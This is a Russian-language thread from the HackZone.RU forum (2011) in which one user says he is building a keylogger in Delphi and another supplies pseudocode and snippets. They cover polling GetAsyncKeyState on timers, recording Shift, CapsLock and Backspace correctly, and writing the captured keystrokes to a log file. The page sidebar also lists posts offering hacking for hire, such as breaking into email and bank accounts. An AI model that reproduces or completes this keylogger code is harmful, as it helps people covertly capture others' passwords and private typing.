Информационная Безопасность. Аудит Безопасности


Нажмите CTRL-D чтобы добавить нас в закладки
HackZone.RU - Использованни функции GetAsyncKeyState(...)
Войти / Регистрация / Участники
Определение даты выпуска iPhone по серийному номеру
-
Поиск по сайту
Форумы



Реклама

Программирование / Delphi & Pascal RSS подписка на сообщения с форума Subscribe


Новая тема Наиболее обсуждаемые темы Наиболее посещаемые темы
Поиск 
Период
Перейти

Просмотров - 7596
Использованни функции GetAsyncKeyState(...)
Добавить этот топик в закладки »
RSS-лента ответов »Subscribe
Stalker001


Member
# | Сообщение добавлено 20.09.2011 16:34:12
Отредактировано 20.09.2011 16:35:57 by Stalker001
Решил написать кейлоггер с использованием функции GetAsyncKeyState(...)
Вот только чрез таймер работать как-то неудобно. Когда обрабатываю клавишу shift например с клавишой 1
if GetAsyncKeyState(vk_shift) and GetAsyncKeyState(49)=-32767 then
Memo1.Lines.Add('!');  
Не получается записывать восклицательный знак, когда зажата клавиша шифт. (Если и записывается то только если быстро нажать shift и 1) Какой интервал нужно указывать? Или в обще так не прокатит?
Сказать спасибо Ответить Цитировать

codemaster




Platinum Member
# | Сообщение добавлено 20.09.2011 17:00:48
нужно ставить интервал минимальный - 1 мс на 1 таймер
и второй таймер 125  мс
на 1-м таймере проверять нажатие клавиш и записывать их в множество, если клавиши там нет, на втором очищать множество и записывать из него нажатые клавиши в лог. псевдокод примерно такой получается:
Text

var
a: set of byte;//наше множество
Log:string;//log
 
procedure proc()
//добавляем клавиши в множество если их там нет. так мы запишем клавиши в лог в точном порядке(врятли ктото за 0,1 секунды 2-раза нажмет клавишу)
begin
if getasinckeystate(code) then
if not (code in a ) then  a:=a+[code];
 
if getasinckeystate(code1) then
if not (code1 in a ) then  a:=a+[code1];
...
end;
 

procedure proc1()//сдесь мы записываем клавиши влог и очищаем множество.по дефолту в windows клавиша дублируется если ее не отпускать 125 мс поэтому ставим именно такой интервал.
begin
if code in a then log:=log+'keyname';//поочередно проверяем есть ли клавиша в множестве и если есть то добавляем ее имя в лог
if code1 in a then log:=log+'keyname1';
...
 
a:=[];
end;
 

begin
//ставим таймеры
settimer(125,proc);
settimer(1,proc2);
sleep(0xffffff);
 
end.
[/code]

 
Сказать спасибо Ответить Цитировать

Stalker001


Member
# | Сообщение добавлено 21.09.2011 14:19:15
Отредактировано 21.09.2011 14:35:55 by Stalker001
Я так понял в первую процедуру, надо записывать все возможные коды клавиш? А во второй процедуре происходит записывание клавиш в лог, Но почему-то если один раз нажмешь например клавишу 'а' то в Edit1.Text:=Edit1.Text+'log';
начинает бесконечно записывать букву
а как сделать записывание из log: string например в C:\log.txt ? И где прописывать запись в текстовый файл?
Сказать спасибо Ответить Цитировать

codemaster




Platinum Member
# | Сообщение добавлено 21.09.2011 15:06:09
Отредактировано 21.09.2011 15:17:02 by codemaster
Stalker001

начинает бесконечно записывать букву

codemaster

if not (code in a ) then  a:=a+[ code ];
т.е. проверяй - есть ли клавиша во множестве, и если нет - добавляй а потом ищешь во множестве клавиши и какие есть - записываешь в лог и очищаем множество.хотя более правильно будет вместо множества использовать динамический массив, только тебе придется описать функции типа push_back(), которая будет добавлять элемент в конец и замену оператору in типа function elementinlist(...):boolean; которая будет проверять есть ли элмент в массиве, а во второй процедуре попорядку записывать все элементы массива в  лог.
Stalker001

а как сделать записывание из log: string например в C:\log.txt ?
любым удобным способом: от класса tfilestream и tstringlist.savetofile() до паскалевских функций для работы с файлами и windows api.
 
Stalker001

И где прописывать запись в текстовый файл?
желательно вконце процедуры записи в лог, т.е. добавыили клавиши в лог и тут же обновили файл и тут же очистили лог, чтобы не занимать память...
хотя можно создать отдельную процедуру и асинхронно вызывать ее через определенный промежуток врмени(от 0,5 мс 5-10минут. меньше нет смысла так как строка обновляется каждые 0,1с а если больше - можно потерять часть логов при крахе программы)
 
Сказать спасибо Ответить Цитировать

Stalker001


Member
# | Сообщение добавлено 22.09.2011 12:43:57
Как можно отличить маленькую букву а от большой А ?
Сказать спасибо Ответить Цитировать

codemaster




Platinum Member
# | Сообщение добавлено 22.09.2011 14:35:03
Stalker001

Как можно отличить маленькую букву а от большой А ?
только по нажатой shift. например с клавишей a:
Text

if (getAsyncKeyState(vk_shift)<>0)and(getAsyncKeyState($41)<>0) then
begin
log:=log+'A'
end
else
begin
if (getAsyncKeyState($41)<>0) then 
log:=log+'a';
end;
 

 
Сказать спасибо Ответить Цитировать

Stalker001


Member
# | Сообщение добавлено 22.09.2011 15:41:19
Отредактировано 24.09.2011 12:35:03 by Stalker001
Все разобрался :-)
 
Добавлено 24.09.2011 12:37:49 (через 3 минуты 46 секунд )
 
А как можно обработать клавишу CapsLock?
Допустим если она активна то все клавиши будут писаться с большой?
Сказать спасибо Ответить Цитировать

codemaster




Platinum Member
# | Сообщение добавлено 24.09.2011 14:43:34
Text

 if GetKeyState(VK_CAPITAL) and 1 = 0 then
    <касп выключен>
  else
   <капс включен>
end;
 

 
Сказать спасибо Ответить Цитировать

Stalker001


Member
# | Сообщение добавлено 26.09.2011 15:20:02
А как можно удалять символы в переменной log, при нажатии на BackSpace (Заранее благодарен)
Почему не работает этот код?
if getAsyncKeyState(8) and (Length(log))>0 then
SetLength(log,Length(log)-1);
Сказать спасибо Ответить Цитировать

codemaster




Platinum Member
# | Сообщение добавлено 26.09.2011 15:39:38
Stalker001

А как можно удалять символы в переменной log, при нажатии на BackSpace (Заранее благодарен)
да. код примерно такой получается:
Text

if (getasynckeystate(backapace)>0))and(Length(log)>0) then
Log:=copy(log,1,lengeth(log)-1);
 

либо
Text

if (getasynckeystate(backapace)>0))and(Length(log)>0) then
delete(log,length(log)-1,1);
 
Stalker001

Почему не работает этот код?
if getAsyncKeyState(8) and (Length(log))>0 then
SetLength(log,Length(log)-1);

потому что ты сравниваешь логическую переменную с числом

 
Сказать спасибо Ответить Цитировать


Только зарегистрированные пользователи могут оставлять сообщения в форуме

Зарегистрироваться *** Авторизоваться

 Последние новости и статьи  Последние сообщения с форумов
  • В darknet сливают данные 100 000 российских банковских карт
  • Вирус Escobar ворует коды двухфакторной аутентификации из Google ...
  • DeadBolt использует уязвимость, исправленную в декабре
  • Почти миллион WordPress-сайтов в опасности из-за уязвимости в поп...
  • Шифровальщик DeadBolt взломал 3600 NAS. Qnap устанавливает обновл...
  • Банковский троян Chaes устанавливает вредоносные расширения для C...
  • Взломана платформа Qubit Finance, хакеры похитили 80 млн долларов
  • Арест участников REvil взволновал других преступников
  • Обнаружена malware MoonBounce, внедряющаяся в UEFI
  • Администратор кардерского форума UniCC и участник хак-группы The ...

    Все новости... Все статьи... Прислать новость RSS
  • Разное / Предложения работы » Взлом авторизации CRM
  • Разное / Предложения работы » взломать сайт и выграть электронную жеребьёвку
  • Разное / Предложения работы » разблокировать сбер аккаунт
  • Разное / Болталка » Re: Форум жив?
  • Разное / Болталка » Форум жив?
  • Разное / Болталка » С Новым 2022 Годом!
  • Взлом и безопасность / Программы » Re: Hasp ключ для ABC-4
  • Портал / Отзывы и предложения » Предлагаем партнерство вашему форуму.
  • Разное / Предложения работы » взлом почты
  • Разное / Куплю, приму в дар » Покупка аккаунтов Uphold

    Все форумы... RSS


  • Разместить рекламу
    © HackZone Ltd. 1996-2020. Все права зарегистрированы.
    Перепечатка материалов без согласования и указания источника будет преследоваться по Закону

    О проекте | История проекта | Размещение рекламы | Обратная связь | Правила поведения на портале
    contador de visitas счетчик посещений

    #{title}

    #{text}

    x

    #{title}

    #{text}